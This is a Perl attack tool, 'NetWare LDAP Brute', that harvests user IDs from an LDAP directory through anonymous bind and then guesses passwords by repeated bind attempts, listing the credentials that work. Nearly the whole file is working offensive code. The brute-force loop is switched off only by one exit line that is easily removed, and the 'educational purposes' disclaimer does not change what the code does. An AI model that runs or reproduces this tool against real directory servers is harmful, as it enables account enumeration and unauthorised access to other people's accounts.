#!/usr/bin/perl
##########################################################################
##
## NetWare LDAP Brute by 
## George Hedfors <george.hedfors@NOSPAMMING.pinion.se>
##
## http://www.pinion.se
##
## Disclaimer: This program may only be used for educational purposes!
## Offensive parts of the script has been disabled.
##
#

use Switch;
use Net::LDAP;

$| = 1;

print "NetWare LDAP Brute by George Hedfors @ Pinion\n";
print "[x] This program may only be used for educational purposes!\n";

for($i = 0; $i < @ARGV; $i++) {
  switch($ARGV[$i]) {
    case "-h" {
      $host = $ARGV[$i+1];
      $i++;
    }
    
    case "-r" {
      $rootdn = $ARGV[$i+1];
      $i++;
    }

    case "-u" {
      $usrs = $ARGV[$i+1];
      $i++;
    }

    case "-p" {
      $pwds = $ARGV[$i+1];
      $i++;
    }
    
    case "-t" {
      $port = $ARGV[$i+1];
      $i++;
    }
    
    case "-s" {
      $ssl++;
    }

    case "-e" {
      $enumusr++;
    }

    case "-n" {
      $same++;
    }
  }
}

if(!$host or (!$usrs and !$enumusr)) {
  usage();
}

if(!$port) {
  if($ssl) {
    $port = 636;
  } else {
    $port = 389;
  }
}

if($ssl) {
  $scheme = "ldaps";
} else {
  $scheme = "ldap";
}

if(!$rootdn) {
  print "[!] No Root DN. Assuming default 'o=hq'.\n";
  $rootdn = "o=hq";
}

if($enumusr) {
  print "[*] Trying to enumerate users...";
  
  $ldap = Net::LDAP->new($host, scheme => $scheme, port => $port) || die "\n\n[!] Unable to connect: $!\n";

  $mesg = $ldap->bind();

  if($mesg->code eq 0) {
    print " Anonymous bind worked!\n";
  
    $mesg = $ldap->search(base => $rootdn, 
                       scope => 'one',
                      filter => '(|(objectclass=person))'
                          );

    foreach ($mesg->entries) {
      if($_->exists('uid')) {
        $u = $_->get_value('uid');
        $u =~ s/\ /\_/g;
      
        push(@uarr, $u);
        push(@users, lc($u));
      }
    }

    foreach (@uarr) {
      print "[+] " . $_ . "\n";
    }

    if(@users eq 0) {
      print "[!] No users enumerated.\n";
    } else {
      print "[*] " . @uarr . " user(s) enumerated.\n";
    }
  } else {
    print " failed.\n";
  }
}

if($usrs) {
  if(open(IN, "< $usrs")) {
    while(<IN>) {
      $_ =~ s/[\n|\r]//g;
      push(@users, $_);
    }
  
    close(IN);
  } else {
    push(@users, $usrs);
  }
}

if(!@users) {
  print STDERR "[!] No users, exiting.\n";
  exit;
}

if($pwds) {
  if(open(IN, "< $pwds")) {
    while(<IN>) {
      $_ =~ s/[\n|\r]//g;
      push(@passwds, $_);
    }
    
    close(IN);
  }
}

if(!@passwd and !$same) {
  print "\n[!] No passwords to try, exiting.\n";
  exit;
}

print "\n[x] Offensive functions has been disabled!\n";
exit;
print "\n[*] Starting brute...\n";

foreach $user (@users) {
  $ret = ();
  
  if($same) {
    $passwd = $user;
    $ret = mytry();
  }

  if($ret ne 1) {
    if(@passwds) {
      foreach $passwd (@passwds) {
        mytry();
      }
    } elsif($pwds) {
      $passwd = $pwds;
      mytry();
    }
  }
}

print "\n";

if(@working gt 0) {
  print "[*] Valid credentials:\n";
  
  foreach (@working) {
    print "[+] " . $_ . "\n";
  }
}

exit;

sub usage() {
  print STDERR "syntax: $0 [options]\n";
  print STDERR "\t-h <hostname>\n";
  print STDERR "\t-t <port>\tDefault: 389\n";
  print STDERR "\t-s\t\tLDAPS. Default port change to: 636\n";
  print STDERR "\t-r <rootdn>\tDefault: o=hq\n";
  print STDERR "\t-u <username or file>\n";
  print STDERR "\t-p <password or file>\n";
  print STDERR "\t-n\t\tTry same password as username.\n";
  print STDERR "\t-e\t\tEnumerate users.\n\n";
  print STDERR "\tNote: Bruteforcing LDAP is slow!\n\n";
  exit;
}

sub mytry() {
  print "[*] Trying " . $user . " / " . $passwd . "...";
  
  $ldap = Net::LDAP->new($host, scheme => $scheme, port => $port) || die "\n\n[!] Unable to connect: $!\n";
  
  if($ssl) {
    $ldap->start_tls(verify => "none");
  }
  
  my $dn = "cn=" . $user . ", " . $rootdn;
  
  $mesg = $ldap->bind($dn,
                  password => $passwd,
                  port => $port
                );

  if($mesg->code ne 0) {
    if($mesg->code ne 49) {
      print " disabled or unable to logon. Return (" . $mesg->code . ")\n";
    } else {
      print "\n";
    }

    return;
  } else {
    print " OK!\n";
    $ldap->unbind;
    push(@working, $user . "/" . $passwd);
    return 1;
  }
}